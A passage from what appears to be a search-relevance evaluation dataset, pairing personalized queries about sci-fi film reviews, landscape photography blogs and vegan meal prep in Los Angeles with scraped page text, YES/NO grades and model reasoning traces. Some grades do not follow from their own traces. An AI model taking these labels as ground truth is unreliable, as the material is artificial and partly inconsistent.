                "model_trace": "Query Decomposition:\n1. {Substack reviews}: The document is a Substack post -> ([1], SATISFIED)\n2. {in-depth reviews}: The content provided does not indicate whether the review is in-depth -> ([0], UNSURE)\n3. {deep dive on themes, symbolism, and cultural impact}: The content provided does not indicate whether the review covers themes, symbolism, and cultural impact -> ([0], UNSURE)\n4. {classic science fiction movies}: The title \"Aliens, Screens, and Body\" might suggest a focus on science fiction, but it's not explicit -> ([2], UNSURE)\n\nAssessment: The relevant subcomponent is {Substack reviews}, which is satisfied. However, the document does not provide enough information to evaluate whether it meets the other key subcomponents related to depth and content focus. Therefore, it is unclear if it would be helpful for the user's specific interest in in-depth reviews of classic science fiction movies. NO."
            },
            {
                "grade": "NO",
                "title": "2022 Was an Amazing Science Fiction Film Year",
                "url": "https://templeofsociology.substack.com/p/2022-was-an-amazing-science-fiction?utm_medium=reader2",
                "published_date": null,
                "text": "Praise Shai-Hulud!   Popular science fiction films have had a really tough time in the last few years.  Star Wars  has been a hot mess, with  The Rise of Skywalker  showing that major studios seem to have no problem releasing chaotic and incomprehensible films.  Terminator  fans have been disappointed,  Blade Runner 2049  was ok but a bit droopy, and I\u2019m not going to sink into  Star Trek  politics. We have Marvel, which has had a lot of quality problems from goofy pointless films ( Thor: Love and Thunder ) to shows that openly attack their fans ( She-Hulk ).   I don\u2019t blame movie fans if they didn\u2019t notice that 2022 was one of the best years for popular science fiction in the history of American cinema. The last year and a half has been a real delight, once you shift your attention away from imploding franchises.  I\u2019m going to cheat a little and start in late 2021, with the release of the  Dune  movie. This film remembered a core lesson about adapting books to film. Don\u2019t reinvent or \u201csubvert\u201d expectations. Instead, pick a few strong points of the original text and skip the other stuff so you can fit it into a two hour experience.  Dune\u2019s  more heady and intellectual approach to sci-fi was a perfect fit for Denis Villeneuve who likes the slow burn. I consider this to be a real success, especially when compared to early adaptations.   Once we hit 2022, we get three master-pieces of sci fi. Each is an important contribution to different approaches to sci-fi. In terms of action films, we get  Avatar 2 . This movie is such a pleasure to watch. It knows what it\u2019s about: fighting bad guys and inventing a beautiful world. What a pleasure when compared to productions like  Game of Thrones  and  Obi-Wan Kenobi  that literally hid their best scenes in darkness. In contrast,  Avatar 2  is stunning to look at it. Simply incredible. Every scene is crisp and clear.     We then got the  Andor  TV series. Given how bad  Star War s has been in the Disney era, I was worried. I thought  Rogue 1  was a fluke and  Andor  would trampl",
                "model_trace": "Query Decomposition:\n1. {in-depth Substack reviews}: This document is a Substack post, so this subcomponent is likely met -> ([1], SATISFIED)\n2. {beyond typical surface-level analysis}: The document does provide some analysis, but it is not clear if it goes beyond surface-level analysis -> ([2], UNSURE)\n3. {deep dive on the themes, symbolism, and cultural impact}: The document does not appear to deeply dive into themes, symbolism, or cultural impact of classic science fiction movies -> ([1], UNSATISFIED)\n4. {classic science fiction movies}: The document mentions recent films and series rather than classic science fiction movies -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {in-depth Substack reviews}, {beyond typical surface-level analysis}, {deep dive on the themes, symbolism, and cultural impact}, and {classic science fiction movies}. Since the document does not satisfy the latter two subcomponents, it is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "As a film buff and a lover of science fiction I've seen several ...",
                "url": "https://medium.com/@moderndayseanchai/as-a-film-buff-and-a-lover-of-science-fiction-ive-seen-several-of-the-films-you-talk-about-and-f6bf8fb5c6c2",
                "published_date": null,
                "text": "Connlyn Sinclair     Follow                Feb 21, 2024            --         As a film buff and a lover of science fiction I\u2019ve seen several of the films you talk about and honestly besides The Matrix I wouldn\u2019t have talked about them as highly as you have, however after reading your thoughts I am perfectly willing to reevaluate what I have seen in these films. I want to watch all of these movies again with your thoughts fresh in my mind.    ||||I||||          Open in app\n            Sign up\n              Sign in\n                  Write\n              Sign up\n                Sign in\n                          Once You Watch These Sci-Fi Movies, There\u2019s No Going Back\n                              759\n                              22\n                      Valentina Eve\n                                                Connlyn Sinclair\n                                          \u00b7\n                                          Follow\n                                        Feb 21, 2024\n                                        --\n                                      1\n                                                    Listen\n                                          Share\n                      As a film buff and a lover of science fiction I\u2019ve seen several of the films you talk about and honestly besides The Matrix I wouldn\u2019t have talked about them as highly as you have, however after reading your thoughts I am perfectly willing to reevaluate what I have seen in these films. I want to watch all of these movies again with your thoughts fresh in my mind.\n                        --\n                        --\n                        1\n                    Follow\n                    Written by Connlyn Sinclair\n                      94 Followers\n                    Sci-Fi/Fantasy writer with an interest in fairy tales and prehistory my collection of fairy tale retellings is available from Anamcara Press\n                    Follow\n                    Help\n                    Status\n                    About\n                    Career",
                "model_trace": "Query Decomposition:\n1. {in-depth Substack reviews}: The document is from Medium, not Substack -> ([1], UNSATISFIED)\n2. {beyond surface-level analysis}: The content provided does not indicate an in-depth analysis; it seems more like a personal reflection -> ([1], UNSATISFIED)\n3. {deep dive on themes, symbolism, and cultural impact}: The content does not mention any deep dive into themes, symbolism, or cultural impact -> ([1], UNSATISFIED)\n4. {classic science fiction movies}: The document mentions The Matrix, but it is not clear if it covers other classic science fiction movies comprehensively -> ([2], UNSURE)\n\nAssessment: The document does not satisfy the key subcomponents of being an in-depth review, being on Substack, or covering themes, symbolism, and cultural impact. NO."
            },
            {
                "grade": "NO",
                "title": "Notes on Taylor Swift and The Tortured Poets Department",
                "url": "https://wehavenotes.substack.com/p/the-tortured-poets-department-taylor-swift",
                "published_date": null,
                "text": "An Open Letter to the Chairman of The Tortured Poets Department  Then, a journey through all 31 tracks from this brilliant, emotional excavation of an album that turned into something else entirely. I'm sure the NYT will think I, too, need an editor. But f*ck it.     Abby Gardner    Apr 25, 2024 \u2219 Paid       11    16     Share                 Oh, and she\u2019s taking Friday off.      Keep reading with a 7-day free trial Subscribe to We Have Notes to keep reading this post and get 7 days of free access to the full post archives.   Already a paid subscriber? Sign in        ||||I||||            We Have Notes\n                SubscribeSign in\n                        Share this post\n                            An Open Letter to the Chairman of The Tortured Poets Department\n                              wehavenotes.substack.com\n                            Copy link\n                            Facebook\n                            Email\n                            Note\n                            Other\n              An Open Letter to the Chairman of The Tortured Poets Department\n              Then, a journey through all 31 tracks from this brilliant, emotional excavation of an album that turned into something else entirely. I'm sure the NYT will think I, too, need an editor. But f*ck it.\n                          Abby Gardner\n                          Apr 25, 2024\n                          \u2219 Paid\n                        11\n                                  Share this post\n                                      An Open Letter to the Chairman of The Tortured Poets Department\n                                        wehavenotes.substack.com\n                                      Copy link\n                                      Facebook\n                                      Email\n                                      Note\n                                      Other\n                      16\n                      Share\n                  Oh, and she\u2019s taking Friday off.\n                Keep reading with a 7-day free trial\n              ",
                "model_trace": "Query Decomposition:\n1. {in-depth Substack reviews}: This document is a Substack post, so this subcomponent is met -> ([1], SATISFIED)\n2. {beyond typical surface-level analysis}: The document mentions a \"journey through all 31 tracks\" and \"emotional excavation,\" indicating a deeper analysis -> ([2], SATISFIED)\n3. {themes, symbolism, and cultural impact}: The document does not mention themes, symbolism, or cultural impact specifically -> ([0], UNSURE)\n4. {classic science fiction movies}: The document is about Taylor Swift and an album, not classic science fiction movies -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {in-depth Substack reviews} and {beyond typical surface-level analysis}, which are satisfied. However, the document does not address classic science fiction movies, which is crucial to the user's query. NO."
            }
        ]
    },
    {
        "query": "I'm a hobbyist photographer who is trying to improve my landscape photography skills. Can you suggest any personal blogs or Substack publications that offer technical tips and creative inspiration for capturing stunning nature and outdoor scenes?",
        "grid_pos": [
            3,
            2
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Blog Post/Substack/Personal Content",
        "reasoning_trace": [
            "These queries are diverse, personalized, and focused on finding high-quality, in-depth content on specific topics that the users are interested in. They cover a range of subjects like chemistry, parenting, sports, film criticism, and photography. The queries require the search engine to understand the user's background and interests in order to surface the most relevant Substack or blog post results. Some of the queries also indicate that the users are looking for a more analytical or personal perspective, rather than just general information."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Seasonal & Travel Photography - Visual Wilderness",
                "url": "https://visualwilderness.com/travel",
                "published_date": "2022-07-17",
                "text": "Here is a collection of blog articles from our contributing authors on Visual Wilderness that gives tips and trick for seasonal and travel photograph:\n Travel Photography from Erta Ale Volcano July 17, 2022 Travel photography from Erta Ale Volcano can be challenging. Here is how how Clint Burkinshaw was able to capture this unique location. 5 Indispensable Winter Photography Tips and Tricks January 9, 2022 Follow these 5 indispensable winter photography tips to protect your gear in extreme cold and to come away with stunning photos. Essential ideals for Better Fall Photography October 9, 2021 Fall photography tips to overcome technical challenges and avoid some common mistakes from pro photographer Charlotte Gibb. Invaluable Beach Photography Tips to capture Breathtaking Photos July 19, 2021 Pro photographer Lace Andersen shares in-depth Beach photography lessons to capture stunning photos under variety of conditions. Top 5 Mountain Photography Composition Tips to Memorize April 26, 2021 Colorado based photographer Sanders Park shares indispensable mountain photography composition tips to capture jaw-dropping photos. 7 Indispensable Tips for Photographing Wildflowers in Spring April 9, 2021 Pro photographer Kevin McNeil shares invaluable lessons learnt from years of photographing wildflowers in the pacific northwest. Backyard Flower Photography Tips to Capture Snowdrops and Crocuses March 18, 2021 Padma Inguva shares some in-depth flower photography tips to capture stunning photos of Crocuses and Snowdrops in your own backyard. Fall Photography: Easy & Effective Post Processing Tips October 15, 2020 Chrissy Donadi shares fall photography post-processing advice to create outstanding autumn images with realistically vibrant colors. Top 7 Fall Photography Tips to Capture Breathtaking Photos Pro nature photographer Jay Patel frequently uses these 7 essential fall photography tips to capture breathtaking autumn photos. Photographing Fall Foliage in Mount Rainier National Park October 1, 2020 Pro landscape photographer",
                "model_trace": "Query Decomposition:\n1. {personal blogs or Substack publications}: The document is from a website called Visual Wilderness, which features articles from multiple contributing authors, but it is not a personal blog or a Substack publication -> ([1], UNSATISFIED)\n2. {technical tips for capturing stunning nature and outdoor scenes}: The document contains various articles offering technical tips for different types of outdoor photography, such as winter, fall, beach, mountain, and wildflower photography -> ([1], SATISFIED)\n3. {creative inspiration for capturing stunning nature and outdoor scenes}: The document includes articles that provide creative inspiration through examples and tips from professional photographers -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {technical tips for capturing stunning nature and outdoor scenes} and {creative inspiration for capturing stunning nature and outdoor scenes}. Both of these are satisfied. The subcomponent {personal blogs or Substack publications} is not satisfied, but it is not critical for the document to be helpful for the user's query.\n\nYES."
            },
            {
                "grade": "YES",
                "title": "Nature & Wildlife \u2014 Blog \u2014 Jason Collin Photography",
                "url": "https://jasoncollinphotography.com/blog/category/Nature+%26+Wildlife",
                "published_date": "2023-01-26",
                "text": "Nature & Wildlife\n\nWinter Bosque Sunset New Mexico True Photography\n\nTaking new gear to the Bosque at sunset Wanting to try out my new Sigma 85mm f/1.4 DG DN Art lens on my new Sony a7R V camera, I went to the Bosque at sunset time to see what kind of shots I could create with a long lens, albeit it one with a large aperture capable of very shallow DoF. By the time I got there the light was indeed fading fast. I chose to focus on foreground objects and leave the sunset itself out of focus. This results in a kind of melting effect to how the sunset looks. I actually liked shooting at f/1.4 at 85mm and getting most of what was in the photo out of focus. This is most easily seen in the above photo of the very fine grass sticking out toward the sunset. This grass was so hard to see even with the a7R V\u2019s AI based autofocus, I had to manually focus the lens! Read More\n\nValley of Fires fields of lava in New Mexico\n\nWalking a loop of lava at Valley of Fires On the drive to Alamogordo, New Mexico, a stop at the Valley of Fires is always a must for me, even if just for a few minutes. Any chance to behold lava as far as the eye can see is special. On this particular visit, for the first time, I walked the entire paved loop into the main lava field. What I saw from that view that I could not from high above, are all the fissures in the lava surface that conceal small lava caves below. Fascinating in another regard is how plants of all kinds grow in each crack, groove, and rupture in the lava surface. What an amazing place. Check out the map below to plan your trip to the Valley of Fires. Read More\n\nFlora of White Sands National Park New Mexico True Fine Art Photography\n\nExploring the wealth of photography in White Sands National Park The best place to make photographs in New Mexico is unquestionably White Sands National Park. It is the Grand Canyon of New Mexico in that you could go to the park every day for a month, and still makes hours of photos without running out of subject matter. The topography of the park actually ch",
                "model_trace": "Query Decomposition:\n1. {Personal blogs or Substack publications}: This document is a personal blog by Jason Collin, so this subcomponent is met -> ([1], SATISFIED)\n2. {Technical tips for landscape photography}: The document includes specific technical details about photography gear and techniques, such as using a Sigma 85mm f/1.4 DG DN Art lens and manual focusing, which are useful technical tips -> ([1], SATISFIED)\n3. {Creative inspiration for capturing stunning nature and outdoor scenes}: The document provides creative inspiration by describing various nature and outdoor scenes, such as the Bosque sunset, Valley of Fires, and White Sands National Park -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents. YES."
            },
            {
                "grade": "NO",
                "title": "Tag: photography tips",
                "url": "https://www.naturescapes.net/articles/tag/photography-tips/",
                "published_date": "2015-02-20",
                "text": "Page 1 of 8 1 \n 2 \n 3 \n 4 \n 5 \n 6 \n 7 \n 8 \n \u00bb\n\nIn recent years Iceland has become a popular travel destination for nature photographers. Whether you\u2019re a landscape or bird photographer, there are many opportunities to capture some stunning scenery and amazing bird life. To take advantage of all the photographic opportunities that Iceland h... Continue reading \u00bb\n\nIf you\u2019re like me, you take a lot of nature photographs, and you know that nature doesn\u2019t always offer blue skies with fluffy white clouds. I\u2019ve photographed in rain, snow, strong wind, lightning storms and fog, and always get usable photographs. Continue reading \u00bb\n\nI\u2019ve always viewed myself as a \u201ctraditionalist.\u201d I\u2019ve never really strayed too far away from the boundaries of straight photography. It\u2019s not that I have anything against digital manipulations, it\u2019s just that I\u2019m not an expert at it. I consider my Photoshop skills to be intermediat... Continue reading \u00bb\n\nI\u2019m often amazed at just how much subconscious thought and planning goes into the creation of a \u201csimple\u201d photograph. Continue reading \u00bb\n\nUsing a longer exposure to capture motion is very common when photographing waterfalls, although, this technique is not used as often when photographing birds. After repeatedly photographing a species, using this technique allows me to create different images from the ones I have already capture... Continue reading \u00bb\n\nFor many aspiring wildlife photographers, capturing beautiful portraits of their favorite birds or animals in the wild is often their primary goal. This is certainly an understandable and a worthwhile endeavor. When I began photographing wildlife over thirty years ago, I was inspired by the stri... Continue reading \u00bb\n\nWhen I began shooting RAW files, the processing tools available were somewhat rudimentary. I labored with the early Adobe Camera RAW converter to process my files (Lightroom didn\u2019t exist then), but often felt I could not get the final images to look exactly the way I envisioned them. Part... Continue reading \u00bb\n\n\u201cGood composition is",
                "model_trace": "Query Decomposition:\n1. {personal blogs or Substack publications}: This document is from a website and not a personal blog or Substack publication -> ([1], UNSATISFIED)\n2. {technical tips for landscape photography}: The document contains various tips for nature photography, including landscape photography -> ([1], SATISFIED)\n3. {creative inspiration for capturing stunning nature and outdoor scenes}: The document includes creative insights and inspiration for nature photography -> ([1], SATISFIED)\n\nAssessment: The document satisfies the subcomponents related to technical tips and creative inspiration but does not meet the requirement of being a personal blog or Substack publication. Since the user's query specifically asks for personal blogs or Substack publications, the document is not helpful. NO."
            },
            {
                "grade": "YES",
                "title": "Comments - Becoming a landscape photographer",
                "url": "https://open.substack.com/pub/gillmoon/p/becoming-a-landscape-photographer?utm_source=post&comments=true&utm_medium=web",
                "published_date": null,
                "text": "Thank you very much for your comments and question James.    In the early days a lot of my photography was for cards, postcards and calendars (the tourist industry) which forced me to photograph subjects and places that didn't really resonate with me. I spent my time photographing resorts on the coast that weren't really the wild, natural places I wanted to photograph.    The images that I print now as art prints are different, they are made in quieter places and I can be more creative with these.    I have learnt that my favourite images aren't always the ones that sell well. People usually buy prints because the location means something to them, so the more popular locations always do better.    Printing on fine art paper has been lovely, it really brings the images to life. I use Hahnemuhle Photo Rag and love the soft colour rendition this gives.    I think printing my images completes the photography process for me and I love seeing a composition go from a RAW file to a framed print.    I am not sure this has answered your question but I hope you enjoy your printing journey.    ||||I||||            For the Love of Landscapes\n                SubscribeSign in\n                  Share this discussion\n                      Becoming a landscape photographer\n                        gillmoon.substack.com\n                      Copy link\n                      Facebook\n                      Email\n                      Note\n                      Other\n                                                                                     \n            Becoming a landscape photographer                                        \n                                                                                     \n                    Gill Moon Photography                                            \n                  Mar 11                                                             \n                  47                                                                 \n                            Share this post                     ",
                "model_trace": "Query Decomposition:\n1. {personal blogs or Substack publications}: This document is a Substack publication, so this subcomponent is clearly met -> ([1], SATISFIED)\n2. {technical tips for landscape photography}: The document contains some discussion about printing techniques and personal experiences, but it does not provide clear technical tips for landscape photography -> ([1], UNSATISFIED)\n3. {creative inspiration for capturing stunning nature and outdoor scenes}: The document discusses the author's journey and experiences in landscape photography, which can provide creative inspiration -> ([2], SATISFIED)\n\nAssessment: The relevant subcomponents are {personal blogs or Substack publications} and {creative inspiration for capturing stunning nature and outdoor scenes}. Since both of these subcomponents are satisfied, the document is helpful for the user's request. YES."
            },
            {
                "grade": "NO",
                "title": "116 Connecting with Photographers and Building Community",
                "url": "https://wesley.substack.com/p/116-connecting-with-photographers",
                "published_date": null,
                "text": "Dear friends,  This week's letter is about  the importance of finding and building a community of like-minded photography peers . Also, a preview of some work I shot in beautifully autumnal  Oslo  this week. That\u2019s right, Norway!   Also in this issue, a continuation of a wonderful   Process   Giveaway  with my friends at  Moment  who made available a $150 gift certificate to their photo shop.   A quick hello to the new readers who found their way here after  Process  was selected as a Featured Publication by the good folks at Substack. Thank you Substack! &lt;3           So, if you\u2019re new here \u2014 Hello! I\u2019m Wesley Verhoeve, a  photographer  and curator, and this is  Process , where I write about photography and finding your creative voice.     Process  was the first Substack about photography, and has readers in nearly 130 countries. When I started writing, I lived in the New York City, and now I call Amsterdam home. I am deeply passionate about my craft and sharing what I learn.   Some favorite issues from the  archive :    046 \u263c  My Most Meaningful Shoot  054 \u263c  The Best Photography Advice I Ever Received  107 \u263c  Finding My Purpose as a Photographer   \u2600\ufe0f Shout out to my friends at  Squarespace  for helping make this issue possible \u2600\ufe0f   Being a freelance photographer can be an inspiring way to make a living. But, it\u2019s not all glamour. We walk a path less traveled, one that's often shrouded in uncertainty and isolation. Unlike our friends with regular 9-to-5 gigs, we miss out on the perks of a \"traditional\" workplace - a stable paycheck, help from specialized departments like HR and finance, mentorship and training, and the benefits of having co-workers. Let\u2019s start with that last one.         Picture this: A bustling restaurant kitchen. Chefs, line cooks, and waitstaff buzzing around, working together to create a culinary masterpiece. It's a symphony of chaos, but everyone has a role, and you're part of a larger collective. That camaraderie can work wonders for performance, efficiency, and provide a sense of belo",
                "model_trace": "Query Decomposition:\n1. {Personal blogs or Substack publications}: This document is a Substack publication called \"Process\" by Wesley Verhoeve -> ([1], SATISFIED)\n2. {Technical tips for landscape photography}: The document does not mention specific technical tips for landscape photography -> ([0], UNSURE)\n3. {Creative inspiration for capturing nature and outdoor scenes}: The document mentions photography in general and creative inspiration but does not specifically focus on nature and outdoor scenes -> ([2], UNSURE)\n\nAssessment: The relevant subcomponents are {Personal blogs or Substack publications} and {Creative inspiration for capturing nature and outdoor scenes}. The document satisfies the first subcomponent but is unsure for the second. Given that it does not specifically address landscape photography or outdoor scenes, it may not be directly useful for the user's specific needs. NO."
            },
            {
                "grade": "NO",
                "title": "What's the Secret to Landscape Photography? It's ...",
                "url": "https://medium.com/@pixelmagazine/whats-the-secret-to-landscape-photography-it-s-discipline-and-grit-aa0d71e874da",
                "published_date": null,
                "text": "Cronulla Pool, Australia. Mitch Green Photos.     As photographers \u2014 or really anyone with a smartphone \u2014 we\u2019re flooded with stunning imagery on a daily basis. Both travel shots of faraway lands and captures more close to home which show our local area in a whole new light.  Yet when we\u2019re surrounded by postcard-perfect photos, it\u2019s alluring to think there might be a secret to capturing these breathtaking scenes ourselves. Good news, there is.   What\u2019s the secret to taking better landscape photos? It\u2019s quite simple, really.  All that\u2019s needed is discipline and grit.  While that may seem oversimplified, in essence, it\u2019s not. We don\u2019t expect poets to write timeless verses on a whim. Nor painters to produce a masterpiece in a single sitting. Why then should we expect any different for striking landscape images? From Snapshots to Photographs    Honour Avenue. Mitch Green Photos.     Like a lot of people (i.e. non-photographers), my early experiences with photography largely occurred by chance. By fortunately being down by the beach during a colourful sunset. Or seeing a wild kangaroo out on a family hike and quickly taking a shot before it fled off into the bushes.   I\u2019d happen to find myself in a nice location at the right time and capture the scene as best I could.  For many, photography emerges as a secondary activity. One which hitchhikes a ride off other primary activities, such as taking snapshots while on holiday, bringing the camera along on a Sunday drive, or capturing loved ones at a family event.  Self-evidently, for professionals, the opposite is true. Photography itself is the primary activity. While we can\u2019t plan every family holiday around the most photogenic locations, we can block out time each week dedicated to the pursuit of photography itself.   To capture memorable images, we must respect the process and invest the time and effort required to create them.   Making Art \u2014 Good Art \u2014 Takes Time     Great Barrier Reef. Mitch Green Photos.     Anyone can make \u2018art\u2019. But to produce art with the power t",
                "model_trace": "Query Decomposition:\n1. {personal blogs or Substack publications}: This document is a Medium article, which is a form of a personal blog -> ([1], SATISFIED)\n2. {technical tips for landscape photography}: The document discusses the importance of discipline and grit in landscape photography but does not provide specific technical tips -> ([1], UNSATISFIED)\n3. {creative inspiration for capturing stunning nature and outdoor scenes}: The document does provide some creative inspiration through its narrative and examples of landscape photography -> ([2], SATISFIED)\n\nAssessment: The document satisfies the subcomponents related to being a personal blog and offering creative inspiration but does not provide technical tips for landscape photography. Therefore, it does not fully meet the user's query. NO."
            }
        ]
    },
    {
        "query": "As a vegan bodybuilder in Los Angeles, where can I find high-protein plant-based meal prep services that cater to fitness enthusiasts?",
        "grid_pos": [
            3,
            3
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Consumer Good/Consumer Service",
        "reasoning_trace": [
            "These queries are personalized, diverse, and challenging, focusing on consumer services and goods. They require understanding of specific user needs, niche markets, and specialized products, testing Exa's ability to provide relevant results for complex, personalized searches."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Plant Nutrition Expert | Eatveganmeals | United States",
                "url": "https://www.foodflo.com/",
                "published_date": "2016-01-01",
                "text": "EXPERTLY CRAFTED, \nPLANT-BASED MEALS \nSTRAIGHT at YOUR DOOR \n\u200b Ranked one of LA's best meal delivery services\nby The Hollywood Reporter, PETA & VegNews\n\nRated BEST \nby Women's Health Magazine\n\n\"An LA Favorite\"\n- Goop VEGAN, ALKALINE,\nGLUTEN FREE &\nREADY-TO-EAT! Private Chef Pack: small, large, or family size.\nOur chef-made menu rotates with each delivery with meal packages designed with your optimal health in mind SWEETS, TREATS, SNACKS & DRINKS TO FEEL GOOD ABOUT Alkalizing drinks, nourishing snacks, \nhealthy desserts, breakfast, extra meals\nand more to power you through life WE DELIVER Fresh, nutritious, ready-to-eat meals delivered in Eco-Friendly Packaging.\nEach complete dish is handcrafted by chef Flo & her team. \nAll you need to do is heat and enjoy. Health & Happiness, one bite at a time! Subscribe to our newsletter and get $10 off your first order Health, Wellness & Pleasure one bite at a time! check your inbox for a discount code",
                "model_trace": "Query Decomposition:\n1. {vegan bodybuilder in Los Angeles}: The document mentions that the meal delivery service is based in LA and provides vegan meals -> ([1], SATISFIED)\n2. {high-protein plant-based meal prep services}: The document does not explicitly mention high-protein meals or catering specifically to fitness enthusiasts -> ([0], UNSURE)\n3. {cater to fitness enthusiasts}: The document mentions meals designed with optimal health in mind but does not specify catering to fitness enthusiasts or bodybuilders -> ([0], UNSURE)\n\nAssessment: The document clearly satisfies the subcomponent of being a vegan meal prep service in Los Angeles. However, it does not provide explicit information about high-protein meals or specific catering to fitness enthusiasts. Since the subcomponents related to high-protein and fitness enthusiasts are tagged [0] and are UNSURE, they do not affect the evaluation.\n\nGiven that the document satisfies the relevant subcomponent, it is likely helpful for the user's query. YES"
            },
            {
                "grade": "NO",
                "title": "Strength Food",
                "url": "https://strengthfood.org/",
                "published_date": "2022-02-21",
                "text": "About us We invite you to join the club Strength Food is a healthy Los Angeles meal prep delivery service. We're here to help guide you towards your weight loss goals without sacrificing the taste in food. Our goal is to deliver as much value to our customer's lives as possible which is why we keep our portions high and our prices low. Order Now HOW WE WORK Why people choose us? Heat and eat your delicious meals within minutes. It's simple! Easily order your meals Choose your meals and place your order at least 48 hours before your desired delivery date Delivery done in a flash Orders are ready for pick-up or delivery on Wednesdays and Sundays Enjoy! Microwaves for 2 minutes and enjoy! GET IN TOUCH Working hours Have a question? Check our FAQ or get in touch with us through our contact page. SATURDAY to SUNDAY 10 : 00 am 6 : 00 pm Friday to Saturday 9 : 00 am 6 : 00 pm WEEKLY SPECIALS Check ourweekly menu Every week our menu is updated with new specials. Always fresh, always on rotation. WEEKLY SPECIALS BULK MENU Testimonials What our customers say Our customers always come back for more because we offer a healthy alternative, without forcing a sacrafice in taste. \" It was very delicious! I been working out for around 3 years but one thing I never got right was how to meal prep properly. I would sometimes put too much carbs or too much protein that my macros would be so off. One day, a friend of my suggested me to try Strength Food and let them calculate my needs for me so I can be on track towards my goal. This got me interested because I just want to get my meals correct. I made an order base on a meal for bulking cause I'm trying to get bigger. Wow, when I first tasted it, it was different than my normal meals. It tasted delicious and it even felt healthier since it was easy on my body; I did not feel bloated at all despite it being high calories. Ronny T. 02.21.22 \" I'm delighted! So glad I found Strength Food to prep my meals for me every other week. It helps me out so much with time since I am always on the",
                "model_trace": "Query Decomposition:\n1. [vegan bodybuilder in Los Angeles]: The document mentions that Strength Food is a meal prep delivery service in Los Angeles -> ([1], SATISFIED)\n2. [high-protein plant-based meal prep services]: The document does not explicitly mention that the meals are plant-based or high-protein -> ([0], UNSURE)\n3. [caters to fitness enthusiasts]: The testimonials and the focus on meal prep for fitness goals (e.g., bulking) suggest that the service caters to fitness enthusiasts -> ([2], SATISFIED)\n\nAssessment: The document satisfies the subcomponents related to being in Los Angeles and catering to fitness enthusiasts. However, it does not provide explicit information about offering high-protein plant-based meals. Since the document does not satisfy the key subcomponent of being plant-based, it is not helpful for the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "Rawvolution Living Food\u2013 Organic + Plant-Based. Nationwide Delivery.",
                "url": "https://rawvolution.com/",
                "published_date": "2023-01-01",
                "text": "Fully-prepared, plant-based meals delivered nationwide\n\nNEXT WEEK'S RAW BOX Celery Strong Fresh Pressed JuiceFruit & Flower Fresh Pressed Juice (orange, pomegranate, hibiscus)Marinated Dark LeafiesCucumber, Dried Apricot & Pistachio SaladApple Beet SaladEnsalada MexicanaSeed Cheese WrapSloppy Joe SandwichPizza ItalianaEnchilada BlancaBerry CreamParfait ChocolateCoconut Brownie Arrives May 22nd in Los Angeles / May 23rd in All Other Locations, Nationwide. Submit orders by Saturday, May 20th, 11:59 pm, PT.\n\nClick Here to Order the Raw Box\n\nAbout the Raw Box\n\nWhat is the Raw Box? \nThe Raw Box contains fully-prepared raw vegan meals including two fresh-pressed juices, four gourmet entr\u00e9es, four generous sides, and two low-glycemic desserts.\nNo cooking required!\n\nHow Much Food is in the Raw Box? \nThe Raw Box contains twelve fully-prepared dishes that tends to provide one person about four to five days of lunches and dinners. Some of our clients find the Raw Box lasts nearly a full week!\n\nWhere and When is it Delivered? \nThe Raw Box is available nationwide! In Los Angeles, the Raw Box is delivered by hybrid vehicle on Mondays. Outside Los Angeles, Raw Box deliveries arrive via UPS on Tuesdays.\n\nWhy Raw?\n\nLose Weight! \nEating raw, plant-based foods can help you achieve a healthy, balanced body weight. The meals are light, but nutritionally rich, incredibly flavorful, and wholly satisfying.\n\nFeel Great! \nRaw foods maintain their natural vitamins, minerals, and enzymes. They're packed with living nutrition to help you feel energized, stay healthy, and look and feel your best!\n\nAlways Organic\u2013 Never Conventional \nFor your health and for the health of the planet, we're completely committed to organics. Every ingredient in every dish we serve is always organic, all of the time. This means cleaner food for you!\n\nMade in Sunny Southern California \nWe source the finest and freshest ingredients that SoCal has to offer. Many of our ingredients are still in the farmer's field the day before we buy them at market. This means freshe",
                "model_trace": "Query Decomposition:\n1. {vegan bodybuilder in Los Angeles}: This document mentions that the service delivers in Los Angeles and offers vegan meals -> ([1], SATISFIED)\n2. {high-protein plant-based meal prep services}: The document describes plant-based meals but does not explicitly mention high-protein content or catering to fitness enthusiasts -> ([2], UNSURE)\n3. {cater to fitness enthusiasts}: The document does not explicitly mention catering to fitness enthusiasts, but it does highlight benefits like weight loss and feeling energized which may appeal to fitness enthusiasts -> ([2], UNSURE)\n\nAssessment: The document satisfies the subcomponent of being a vegan meal prep service in Los Angeles. However, it is unclear whether the meals are high-protein or specifically cater to fitness enthusiasts. Given the importance of these subcomponents for a bodybuilder, the document does not fully meet the user's needs. NO."
            },
            {
                "grade": "YES",
                "title": "LA (Los Angeles) Vegan Meal Delivery - Vegin' Out",
                "url": "https://www.veginout.com/collections/la-los-angeles-vegan-meal-delivery",
                "published_date": null,
                "text": "Vegan vegetarian meal delivery for Los Angeles area.\nLA vegan meal delivery coverage: DTLA, Beverly Hills, Hollywood, Hollywood Hills, Silverlake, Echo Park, Eagle Rock, Los Feliz, Highland Park, Lincoln Heights, Studio City, North Hollywood, Universal City, Valley Village, Glendale, Burbank, Pasadena, Altadena, Flintridge, La Canada, Tujunga, West Hills, Woodland Hills, Northridge, San Fernando Valley, Van Nuys, Chatsworth, Canoga Park, Sherman Oaks, Tarzana, Encino, Pacific Palisades, Santa Monica, Bel Air, Brentwood, Century City, Venice Beach, Mar Vista, Marina Del Rey, Playa Del Rey, Inglewood, Mid City, El Segundo, Manhattan Beach, Hermosa Beach, Hawthorne, LAX, Lawndale, Redondo Beach, Torrance, Rolling Hills, Palos Verde, San Pedro, Lomita, Gardena, Carson, Wilmington, Harbor City, Huntington Park, Compton, Long Beach, Lakewood, Alhambra, Monterey Park, Baldwin Park, Temple City, Rosemead, Arcadia, Monrovia, El Monte.\n To guarantee Monday delivery all vegan/vegetarian meal orders should be placed by Friday at 5pm PST. Orders placed after Friday, 5 pm PST will be fulfilled based on availability. Otherwise, it will automatically be scheduled to the following Monday.",
